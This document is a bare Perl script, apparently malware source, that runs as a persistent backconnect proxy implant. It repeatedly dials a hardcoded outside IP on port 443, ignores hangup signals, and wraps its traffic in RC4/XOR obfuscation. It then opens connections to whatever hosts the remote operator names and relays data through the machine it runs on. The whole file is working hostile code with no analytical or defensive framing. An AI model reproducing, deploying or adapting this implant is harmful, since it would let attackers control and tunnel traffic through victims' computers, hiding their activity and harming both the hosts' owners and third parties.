#!/usr/bin/env perl

use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);

my $host = '36.255.98.178';
my $port = 443;

$SIG{PIPE} = 'IGNORE';
$SIG{HUP} = 'IGNORE';
$SIG{CHLD} = 'IGNORE';

my $xordata = "\x00" x 50;

for (my $i = 0; $i < 50; $i++) { vec($xordata, $i, 8) = int(rand(255)); }

sub Rc4_crypt {
	 
	 my $passw = shift(@_);
	 
	 my $length = shift(@_);
	 
	 my $buff0 = shift(@_);
	 
	 my $start = shift(@_);
	 
	 my $sz = shift(@_);
	 
	 my $rc4 = "\x00" x 256;
	 
	 my $pockemon0 = 0;
	
	 my $pockemon1 = 0;
	
	 my $pockemon2 = 0;
	
	 my $pockemon3 = 0;
	
	 my $pockemon4 = 0;
	
	 my $pockemon7 = 0;
	
	 my $pockemon8 = 0;
	 
	 my $rcx = $sz;
	 
	 my $rsi = 0;
	 
	 my $rbx = 0;
	 
	 my $gs = 0;
	 
	 vec($rc4, $_, 8) = $_ for 0..255;
	 
	 do {
		 
		 vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8));
		 
		 $rsi++;
		
		 $rbx++;
		
		 $rcx--;
		
		 if ($rbx == $length) {
			 
			 $rbx = 0;
		}
		 
	} while($rcx > 0);
	
	
	 while(1) {
		 
		 if ($gs == 0) {
			 
			 $pockemon2 = 0;

			 $pockemon3 = $length;
		}
		 
		 if ($gs != 0) {
			 
			 $gs = 0;

			 $pockemon2++;

			 if (--$pockemon3 == 0) { next; }
			 
		}
		
		 $pockemon7 = vec($rc4, $pockemon0, 8);
		 
		 $pockemon1 += vec($$passw, $pockemon2, 8);

		 $pockemon1 = $pockemon1 & 255;

		 $pockemon1 += $pockemon7;

		 $pockemon1 = $pockemon1 & 255;

		 vec($rc4, $pockemon0, 8) = vec($rc4, $pockemon1, 8);

		 vec($rc4, $pockemon1, 8) = $pockemon7;
		 
		 $pockemon0++;

		 $pockemon0 = $pockemon0 & 255;
		 
		 if ($pockemon0 != 0) {
			 
			 $gs = 1;
			 
			 next;
		}
		
		 $pockemon4 = $sz;

		 $pockemon1 = 0;

		 $pockemon0 = 0;

		 $pockemon2 = 0;

		 $pockemon3 = 0;
		 
		 while(1) {
			 
			 $pockemon2++;

			 $pockemon2 = $pockemon2 & 255;

			 $pockemon7 = vec($rc4, $pockemon2, 8);
			 
			 $pockemon1 += $pockemon7;

			 $pockemon1 = $pockemon1 & 255;

			 $pockemon8 = vec($rc4, $pockemon1, 8);
			 
			 vec($rc4, $pockemon2, 8) = $pockemon8;
			 
			 vec($rc4, $pockemon1, 8) = $pockemon7;

			 $pockemon8 += $pockemon7;
	
			 $pockemon8 = $pockemon8 & 255;
			 
			 vec($$buff0, $start + $pockemon3, 8) = vec($rc4, $pockemon8, 8) ^ vec($$buff0, $start + $pockemon3, 8);
			 
			 $pockemon3++;
			 
			 if (--$pockemon4 == 0)
			 {
				 last;
			 }
			 
		}
		 
		 last;
	}
	
	 $rsi = 0;
	
	 $rcx = $sz;
	
	 $rbx = 0;
	
	 do {
		 
		 vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8));
		 
		 $rsi++;
		
		 $rbx++;
		
		 $rcx--;
		
		 if ($rbx == $length) {
			 
			 $rbx = 0;
		}
		 
	} while($rcx > 0);
	
}

sub synsend {
		
	 my $cSocket = shift(@_);
	 
	 my $buffer = shift(@_);
	 
	 my $length	= shift(@_);
	 
	 my $offset	= shift(@_);

	 open(my $fh, "<", '/dev/null');

	 flock($fh, LOCK_EX);
	 
	 # ===============================================
	 
	 syswrite($cSocket, $buffer, $length, $offset);
	 
	 # ===============================================
	 
	 flock($fh, LOCK_UN);

	 close($fh);
}

sub newConnection {
	
	my $num = shift(@_);
	
	my $sSocket = shift(@_);
	
	my $cSocket = shift(@_);
	
	my $buff0 = shift(@_);
	
	my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
	
	my $domain = '';
	
	my $port = 0;
	
	my $_ret = 0;
	
	my $data = '';
	
	my $buffer = '';
	
	my $str_wec = "\x00\x00";
	
	my $buffer1 = "\x00" x 65536;
	
	setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
	
	setsockopt($cSocket, SOL_SOCKET, SO_RCVBUF, 65536);
	
	setsockopt($cSocket, SOL_SOCKET, SO_SNDBUF, 65536);
	
	fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) | O_NONBLOCK);
	
	fcntl($cSocket, F_SETFL, O_NONBLOCK);
	
	if (vec($buff0, 7, 8) == 3) {
		
		$domain = substr($buff0, 9, vec($buff0, 8, 8));
		
		substr($str_wec, 0, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 0, 1);
		
		substr($str_wec, 1, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 1, 1);
		
		$port = vec($str_wec, 0, 16);
	}
		
	elsif (vec($buff0, 7, 8) == 1) {
		
		$domain = sprintf("%d.%d.%d.%d", vec($buff0, 8 + 0, 8), vec($buff0, 8 + 1, 8), vec($buff0, 8 + 2, 8), vec($buff0, 8 + 3, 8));
		
		substr($str_wec, 0, 1) = substr($buff0, 12 + 0, 1);
		
		substr($str_wec, 1, 1) = substr($buff0, 12 + 1, 1);
		
		$port =  vec($str_wec, 0, 16);
		
	}
		
	else {
		
		goto close_;
	}
		
	 eval {
		 
		 my $paddr = sockaddr_in($port, inet_aton($domain));
		 
		 connect($cSocket, $paddr);
		 
		 vec(my $win = '', fileno($cSocket), 1) = 1;
		 
		 unless (select(undef, $win, undef, 10)) { goto close_; }
		 
		 fcntl($cSocket, F_SETFL, 0);
		 
		 substr($responce, 4, 1) = "\x00";
		 
		 fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) ^ O_NONBLOCK);
		 
		 $_ret = 1;
		 
	 };
	 
	 close_:
	 
	 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
	 
	 Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
	 
	 synsend($sSocket, $responce, length($responce), 0);
	 
	 if ($_ret == 1) {
		 
		 while (1) {
			 
			 vec(my $rin = '', fileno($cSocket), 1) = 1;
			 
			 unless (select($rin, undef, undef, 1)) { next; }
			 
			 $data = sysread($cSocket, $buffer1, 65530, 3);
			 
			 unless($data) { last; }
			 
			 vec($buffer1, 0, 8) = $num;
			 
			 vec($str_wec, 0, 16) = $data;
			 
			 substr($buffer1, 1, 1) = substr($str_wec, 1, 1);
			 
			 substr($buffer1, 2, 1) = substr($str_wec, 0, 1);
			 
			 Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3);
			 
			 Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data);
			 
			 synsend($sSocket, $buffer1, 3 + $data, 0);
		}
	}
	 
	 close($cSocket);
	 
	 vec($responce, 0, 8) = $num;
	 
	 substr($responce, 1, 2) = "\x00\x00";
	 
	 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
	 
	 synsend($sSocket, $responce, 3, 0);
}

sub bccnct {

	 my $host = shift(@_);
	 
	 my $port = shift(@_);
	 
	 my $remaining = 0;
	 
	 my $remaining4 = 0;
	 
	 my @socketarr;
	 
	 my $buffer = "\x00" x 100;
	 
	 my $buffernull = "\x00" x 3;
	 
	 my $buffer0 = "\x00" x 65536;
	 
	 my $isExit = 0;
	 
	 my $ecx = 0;
	 
	 my $eax = 0;
	 
	 my $data = '';
	 
	 my $_ret = 0;
	 
	 my $ebx = 0;
	 
	 my $edx = 0;
	 
	 my $str_wec = "\x00\x00";
	 
	 socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
	 
	 setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
	 
	 setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, 65536);
	 
     setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, 65536);
	 
	 my $paddr = sockaddr_in($$port, inet_aton($$host));
	 
	 unless(connect($socketarr[0], $paddr)) { goto close0; }
	 
	 substr($buffer, 0, 50) = $xordata;
	 
	 substr($buffer, 50, 2) = "\xFF\xFF";
	 
	 substr($buffer, 54, 11) = "Perl script";
	 
	 Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
	 
	 syswrite($socketarr[0], $buffer, length($buffer));
	 
	 while(1) {
		 
		 if ($remaining4 != 4) {
			 
			 vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
			 
			 unless(select($rin, undef, undef, 60)) {
				 
				 last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
				 
				 last if ($remaining != 0);
				 
				 last if ($remaining4 != 0);
				 
				 Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
				 
				 synsend($socketarr[0], $buffernull, length($buffernull), 0);
				 
				 next;
			}
			 
		}
		 
		 if ($remaining != 0 || $remaining4 == 4) {
			 
			 if ($edx == 0) {
				 
				 if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
					 
					 $isExit = 1;
					 
					 last;
					 
				}
				 
				 elsif ($ebx < 200 && $ebx > 0 && defined($socketarr[$ebx])) {
				 
					 shutdown($socketarr[$ebx], 0);
				 
				}
			
			}
			
			else {
				
				 $ecx = $edx;
				
				 $ecx = $ecx - $remaining;
				 
				 $data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4);
				 
				 unless ($data) { last; }
				 
				 $remaining += $data;
				 
				 if ($edx == $remaining) {
					 
					 Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
					 
					 if (vec($buffer0, 0, 8) == 0) {
						 
						 socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
						 
						 my $pid = fork();

						 if (!defined $pid) {
							 
							 die "Cannot fork a child: $!";
						 }
						 
						 elsif ($pid == 0) {
    
							 newConnection($ebx, $socketarr[0], $socketarr[$ebx], $buffer0);
							 
							 exit 0;
						 }
					}
					
					 else {
						 
						 syswrite($socketarr[$ebx], $buffer0, $remaining, 4);
						 
					}
					 
					 $remaining = 0;
				}
				
			}
			 
			 $remaining4 = 0;
			 
		}
		
		else {
			
			 $eax = 4;
			
			 $eax = $eax - $remaining4;
			 
			 $data = sysread($socketarr[0], $buffer0, $eax, $remaining4);
			 
			 unless ($data) { last; }
			 
			 $remaining4 += $data;
			 
			 substr($buffernull, 0, 3) = "\x00\x00\x00";
			 
			 if ($remaining4 == 4) {
				 
				 Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
				 
				 $ebx = vec($buffer0, 1, 8);
				 
				 substr($str_wec, 0, 1) = substr($buffer0, 3, 1);
				 
				 substr($str_wec, 1, 1) = substr($buffer0, 2, 1);
				 
				 $edx = vec($str_wec, 0, 16);
			 
				 $_ret = 1;
			}
			
		}
	}
	
	 close0:
	 
	 close($socketarr[0]);
	 
	 for (my $i = 1; $i < 200; $i++) { if (defined($socketarr[$i])) { shutdown($socketarr[$i], 0); } }
	 
	 sleep 10;
	 
	 if ($isExit == 1) { exit; }
	 
	 return $_ret;

}

while(1)
{
	 bccnct(\$host, \$port);
	 
	 sleep 180;
}